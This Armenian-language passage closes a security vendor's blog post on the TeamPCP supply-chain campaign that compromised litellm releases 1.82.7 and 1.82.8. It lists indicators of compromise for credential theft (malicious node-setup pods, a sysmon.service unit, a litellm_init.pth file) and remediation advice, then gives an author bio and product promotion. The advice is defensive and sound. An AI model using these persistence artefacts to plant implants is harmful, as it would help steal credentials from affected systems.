  • Ավելի արագ կիսվեք սպառնալիքների մասին տեղեկատվությամբ։ Litellm-ի 5.5-ժամյա ազդեցության պատուհանը կարող էր ավելի կարճ լինել՝ մատակարարների միջև ավելի արագ համակարգման դեպքում: Xygeni MEW-ի, Socket-ի և Snyk-ի նման ավտոմատացված սկանավորման ծառայությունները հայտնաբերել են անոմալիան. խնդիրը մարդկային հաստատումն ու գրանցամատյանի արձագանքման ժամանակն է:

Եզրափակում

TeamPCP արշավը վճռորոշ պահ է... software supply chain securityԱնվտանգության սկաներները նախ վտանգելով և դրանք որպես բարձրարժեք արհեստական ​​բանականության ենթակառուցվածքներ մուտք գործելու աստիճաններ օգտագործելով՝ հարձակվողները ցույց տվեցին, որ մատակարարման շղթան այնքան ուժեղ է, որքան դրա ամենաթույլ անցումային կախվածությունը, և այդ կախվածությունը կարող է լինել այն անվտանգության գործիքը, որին դուք վստահում եք ձեր անվտանգությունը պահպանելու համար։

Litellm-ի փոխզիջումը հատկապես ընդգծում է արհեստական ​​բանականության ենթակառուցվածքների աճող ռիսկը։ Քանի որ LLM պրոքսի դարպասները դառնում են standard նախշ enterprise Արհեստական ​​բանականության տեղակայման դեպքում նրանք մեկ բաղադրիչում կենտրոնացնում են API բանալիների, ամպային մուտքի տվյալների և զգայուն տվյալների հասանելիությունը։ Այդ բաղադրիչի վարկաբեկումը ամբողջ արհեստական ​​բանականության փաթեթի կմախքային բանալին է։

Կազմակերպությունները, որոնք տեղադրել են litellm 1.82.7 կամ 1.82.8 տարբերակը 5.5 ժամյա պատուհանի ընթացքում, պետք է սա համարեն որպես լիարժեք հավատարմագրերի խախտում. պտտել բոլոր գաղտնի տվյալները տուժած համակարգերի վրա, աուդիտ անցկացնել Kubernetes կլաստերների համար։ node-setup-* պատիճներ kube-system, հեռացրեք ցանկացած sysmon.service համակարգված միավորներ և ստուգեք litellm_init.pth Python-ում site-packages/ տեղեկատուներ։ Docker-ի պաշտոնական պատկերի օգտատերերը (ghcr.io/berriai/litellm)-երը չեն ազդվել, քանի որ պատկերը ամրացրել է իր կախվածությունները և չի վերականգնվել էքսպոզիցիայի պատուհանի ընթացքում։

Հեղինակի մասին

Համահիմնադիր և տեխնիկական տնօրեն

Լուիս Ռոդրիգես Xygeni Security-ի համահիմնադիրն ու տեխնիկական տնօրենն է։ Ծրագրերի անվտանգության ոլորտում 20+ տարվա փորձով նա կենտրոնանում է AppSec պաշտպանության և կոդի վերլուծության առաջադեմ հնարավորությունների վրա, որոնք օգնում են թիմերին նվազեցնել իրական առաքման ռիսկը։

 
sca-tools-software-composition-analysis-tools
Առաջնահերթություն տվեք, շտկեք և պաշտպանեք ձեր ծրագրային ռիսկերը
Ստացեք ձեր անվճար հաշիվը։
Ոչ մի վարկային քարտ չի պահանջվում:

Ապահովեք ձեր ծրագրային ապահովման մշակումը և մատակարարումը

Xygeni Product Suite-ի հետ